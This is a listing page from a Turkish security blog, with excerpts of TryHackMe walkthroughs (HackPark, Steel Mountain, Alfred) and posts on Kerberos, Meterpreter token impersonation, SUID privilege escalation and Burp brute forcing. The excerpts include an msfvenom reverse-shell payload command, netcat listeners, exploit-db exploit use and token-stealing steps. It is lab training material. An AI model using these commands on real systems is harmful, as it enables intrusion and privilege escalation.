HackPark Çözümü -Tryhackme

HackPark Çözümü -Tryhackme

TryHackMe
TryHackMe üzerinde bulunan HackPark isimli makineyi başlattığım(deploy) zaman aldığı ip adresi 10.10.254.73'dir. Bu ip üzerinden işlemleri gerçekleştireceğim. Whats the name of the clown displayed on the homepage? Web arayüzüne girdiğimiz zaman bir palyaço bizi karşılıyor. İpucu(hint) olarak verdiği ise, reverse image search'dir. https://www.labnol.org/reverse/ indirdiğimiz resmi yüklediğimiz zaman google üzerinden eşleştirmeleri getiriyor. Show matching images dememiz gerekiyor. Bununla beraber bulduklarım; tim curry ya da pennywise 'dır. Cevap ise pennywise HackPark Task 2 Bizden ilk olarak login dizini bulmamız bekleniyor. Bunun için gobuster veya dirb araçlarını kullanabiliriz. Ben gobuster kullanacağım. gobuster dir -u http://10.10.254.73 -w /usr/share/wordlists/dirb/common.txt -u parametresi hedef ip adresidir, -w ise daha önceden oluşturulmuş dizin listesidir. Ekran çıktısından görüldüğü üzere login panelini bulduk. http://10.10.254.73/admin adresi ile gidebiliriz. gobuster kullanımı What request type is the Windows website login form using? Login…
Read More
Kerberos Genel Bakış

Kerberos Genel Bakış

Cyber Security
Windows için Authentication Servisleri Nelerdir ? İki adet doğrulama yöntemi vardır. Bunlar NTLM ve Kerberos servisleridir. NTLM Nedir? NTLM challenge / response mantığına dayanarak doğrulama yapar. Simetrik bir şifreleme alt yapısına sahiptir. Günümüzde güvenli olmayan ağlar da çok tercih edilmeyen yöntemdir. Ayrıca çok fazla atak vektörü bulunmaktadır. *Simetrik şifreleme, taraflar arasında tek bir anahtar bulunur. Bu anahtar ile taraflar şifreleme deşifreleme yaparlar. Örnek olarak AES 256 verilebilir. Kerberos Nedir ? Yunan mitolojisinden 3 başlıklı köpek olarak gelir. Burada ki görevi ise authentication servisi olmasıdır. NTLM servisinden daha güvenli bir yapı olması için tasarlanmıştır. Kullandığı 3.parti ticket yetkilendirme ile daha güçlü olacağı planlanmıştır. Kerberos da simetrik şifreleme yöntemini kullanır. Kerberos Bileşenleri Kerberos içeresinde Authentication servis, Database ve Ticket Granting Server bulundurur. Authentication Server, Bilet verme hizmeti için ilk kimlik doğrulaması ve…
Read More
Steel Mountain Metasploit Olmadan Root olmak

Steel Mountain Metasploit Olmadan Root olmak

TryHackMe
TryHackMe üzerinde bulunan Steel Mountain makinesinde çözüm olarak 2 yol gösteriliyor. Yollardan biri kolay olan Metasploit ile erişim alıp yetki sağlamaktadır. Diğer yöntem ise Python ile yazılmış script çalıştırarak diğer adımları izlemektir. Her zaman zafiyetler için exploit işlemlerini Metasploit ile gerçekleştirilemez. Statik olarak da exploit çalıştırabilmeyi tersine bağlantıyı netcat ile alabiliyor olmamız gerekir. Bu yazıdaki amacım ise bunu hedeflemektedir. Nmap İle Zafiyet Tespiti nmap -sC -sV -T4 -Pn 10.10.177.120 -oA nmap İlgili komutların çıktısında, zafiyet olarak "HttpFileServer httpd 2.3" karşımıza çıkacaktır. nmap zafiyet tespiti Exploit db üzerinden "Http File Server " arama yaptığımızda doğrulanmış(verified) olarak bazı scriptler gelmektedir. Bunlar içeresinden https://www.exploit-db.com/exploits/39161 kullanacağız. Exploit kullanımı için şu örneği bizlere vermiş; #Usage : python Exploit.py <Target IP address> <Target Port Number> Ek olarak indirdiğimiz dosya içeresinde, ip_addr ve local_port değişkenleri kendimize göre…
Read More
Meterpreter Incognito Modulü

Meterpreter Incognito Modulü

Cyber Security
Elde ettiğimiz oturum üzerinde yetki yükseltmeye yarayan incognito modulünden bahsedeceğim. Tokenlar aynı web cookilerine benzer. Geçici olarak bu tokenlar bizlere system ve ağlara kullanıcı adı ve şifre sunmadan her zaman erişmemize sağlar. Incognito exploit de tokenları çalar. İki tip token vardır. Bunlar ; Delegate tokenlar interactive'dir. Makinede oturum açmak ya da uzaktan oturum açmak gibi durumlardır. Impersonate tokenlar non-interactive'dir. Ağ sürücüsünde ve ya domain'de oturum açmak gibi durumlardır. Şimdi incognito modulünü meterpreter ile kullanalım use incognito Elde ettiğimiz kullanıcı için kullanabilir tokenları listeleyelim list_tokens -g Tokenlara baktığımızda gözümüze BUILTIN\Administrators çarpıyor. Şimdi bu tokeni çalalım. impersonate_token BUILTIN\\Administrators Aslında her şey iyi gözüküyor. Bir eksiğimiz daha var. Bunun için öneri gereği serivices.exe'ye migrate uygulamak. ps Tüm processler listelenir. migrate PID ile geçiş yapılır. migrate 668 whoami :) Ek bilgiler: whoami /priv SeImpersonatePrivilegeSeAssignPrimaryPrivilegeSeTcbPrivilegeSeBackupPrivilegeSeRestorePrivilegeSeCreateTokenPrivilegeSeLoadDriverPrivilegeSeTakeOwnershipPrivilegeSeDebugPrivilege…
Read More
Netcat oturumundan Meterpreter’e Geçmek

Netcat oturumundan Meterpreter’e Geçmek

Cyber Security
Netcat telnet tabanlı komut çalıştırabilme ve dosya alış verişi sağlayan basit bir uygulamadır. Bu uygulama ile yeterince hareket ya da özelliğe sahip olamayız. Özellikle yetki yükseltmesi ya da daha fazla sömürü yapmak istiyorsak güçlü bir payload'a ihtiyacımız olur. Bu ihtiyacımızı Meterpreter ile karşılarız. Gerçekleştirilen uygulama https://tryhackme.com/room/alfred makinesi üzerinde gerçekleştirilmiştir. Netcat ile bağlantı alındığı varsayılmıştır. Powershell betiği yardımıyla reverse tcp socket açabildik. Bunun için burada ki betikden yararlanabilirsiniz. https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 nc -lvnp 9001 Ek olarak hatırlatmak isterim. CMD üzerinde değiliz hedef sistem üzerinde powershell de çalışıyoruz. Switching Shells , Yetki yükselmeyi kolay hale getirmek için Meterpreter shell kullanacağız. Msfvenom ile shell oluşturmak msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=<ip adresini> LPORT=<port adresiniz> -f exe -o switchshell.exe Seçtiğiniz port numarası hedef sistem ve sizin dinleyeceğiniz sistem üzerinde çakışmamalıdır. LHOST , saldırgan ip…
Read More

Makine Çözümlerinde Yaygın İpucular

Cyber Security
TryHackMe ya da Hackthebox gibi platformlarda karşılaşdığım durumlarda kullandığım kısa yolları güncelleyerek paylaşacağım. SSH keyden kullanıcı adı öğrenmek ve private key ile hedef servere bağlantı sağlamak Sızdığımız zafiyetli makinelerden ya da senaryo gereği bulduğumuz keylerin nasıl kullanıldığı, hangi anahtarın(key) private yada public olduğunu göstereceğim. İlk olarak aldığımız anahtara(key) izin vermeliyiz. Benim aldığım keyler aşağıda ki gibidir. chmod 600 id_rsa chmod 600 did_rsa.pub SSH public anaharı(key) yardımı ile kullanıcı ismini öğrenelim; cat id_rsa.pub ekran çıktısından, cactus olduğunu anlıyoruz. SSH private key ile hedef sunucuya bağlantı aşağıdaki gibi sağlanır. -i parametresi private anahtar(key) verilmelidir. Farklı dizinde ise yolu(path) verilmelidir. ssh cactus@10.10.190.50 -i id_rsa Elimizde shell oturumu var biz bunu meterpreter çevirmek istiyoruz. Bunun için aşağıdaki payload kullanabilir. Çalıştığımız oturum arka plana(background) alınmalıdır. use post/multi/manage/shell_to_meterpreter set session <session number> Kurtarıcı ve kullanışlı simpleHTTPServer…
Read More
SUID Ve Yetki Yükseltme

SUID Ve Yetki Yükseltme

Cyber Security
SUID Nedir? SUID, geçiçi olarak programa/dosyaya dosya sahibi gibi çalıştırma yetkisi verir. Aşağıdaki ekran çıktısını yorumlayalım. İlgili çıktıda dosya sahibinin root ve dosya sahibinin grup değerinin root olduğu gözüküyor. Kullanıcı, Grup kullanıcıları ve Diğer kullanıcıların izinlerine baktığımızda W(yazma) yetkisi root kullanıcısında bulunmaktadır. Suid ise burda komut çalıştırıldığı zaman her kullanıcıya geçici olarak W yetkisi vererek shadow dosyasına yazma işlemi yapmasını sağlamaktadır. Eğer böyle olmasaydı normal kullanıcılar şifrelerini değiştiremez olurdu. Hatalı SUID ile Yetki yükseltme Linux dağıtımlarında default olarak ya da hatalı Suid yapılandırmalar sonucunda zafiyetler ortaya çıkmaktadır. Bu zafiyetlerin sömürülmesi için hangi program ya da dosyada Suid değeri bulunduğu tespit etmemiz gerekir. find / -user root -perm -4000 -print 2>/dev/null find komutu ile yaptığımız sorguda en çok sömürülen ve bize iyi bir yetki verebilecek /bin/systemctl komutunu görüyoruz. Bunu kullanarak reverse…
Read More
Kullanışlı Linux Temel Bilgileri

Kullanışlı Linux Temel Bilgileri

Linux
Linux dağıtımlarında kullanılan temel bazı komutların ekran çıktıları ile ilişkilendirerek gösterilmesi sağlayacağım. Burada paylaşdığım bazı komutların özellikle yeni mezun ya da kendini geliştiren kişilere ileride çalıştıkları sistemler üzerinde ezbere komut kullanmak yerine çıkan output(sonuç) anlayabileceklerdir. Linux dağıtımlarında bulunduğunuz dizin üzerinde dosya türlerini, sahiplerini ve boyutlarını görmek için aşağıda ki komut kullanılır. ls -lah Hatırlatma: ls komutu listeleme yapar. -l komutu dosya sahiplerini gösterir, -a hepsini gösterir, -h okunabilirliği artırır. d : Directory (Dizin) l : Sysmbolic Link, Basit tanım ile bir dizin, dosya veya uygulama için kısa yollardır. - : Regular file , Metin dosyaları, resimler vb. farklı dosyaları temsil eder. p : Named Pipe, iki lokal işlem arasında iletişim izin verir. Linux Dağıtımlarımda Alias Oluşturmak Alias (takma ad) bizler tarafından tanımlanan komutlardır. İp adresimizi görmek için ipgoster isimli Alias…
Read More

Burp Suite İle Brute force Http Basic Authentication

Cyber Security
Apache üzerinde yapılandırılmış Http basic Authetication alanına deneme yanılma saldırıları yapılacaktır. Bu işlem için Burp Suite kullanıyor olacağım. İlgii atağa geçmeden önce proxy ayarlarınızı yapmalısınız yada içeresinde gömülü olarak gelen tarayıcıyı kullanarak işlemi gerçekleştirebilirsiniz. Ben içeresinde gömülü gelen tarayıcı kullanacağım. Ayrıca community edition sürümünü kullanıyorum. Proxy alanı içeresinde Open Browser dan önce Intercept is off olmalıdır. Bunu login ekranı geldikten sonra on yapacağız. Login ekranına erişim sağlandığında Intercept is on olmalıdır. Yani bundan sonra göndereceğimiz istek Burp Suite ile tutulacaktır. Bu sayede de gerekli atakları ve düzenlemeleri yapabiliyor olacağız. Evet ilgili isteğimiz yakalandı ve basic olarak Authorization gözüküyor. Burada ki bir detay da gönderdiğimiz kullanıcı adı ve şifre plain text olarak gitmiyor. Encode edilmiş hali gönderiliyor. Burada gördüğümüz gibi base64 ile encode edilmiş , biz buna decode işlemi yapacağız. Şimdi…
Read More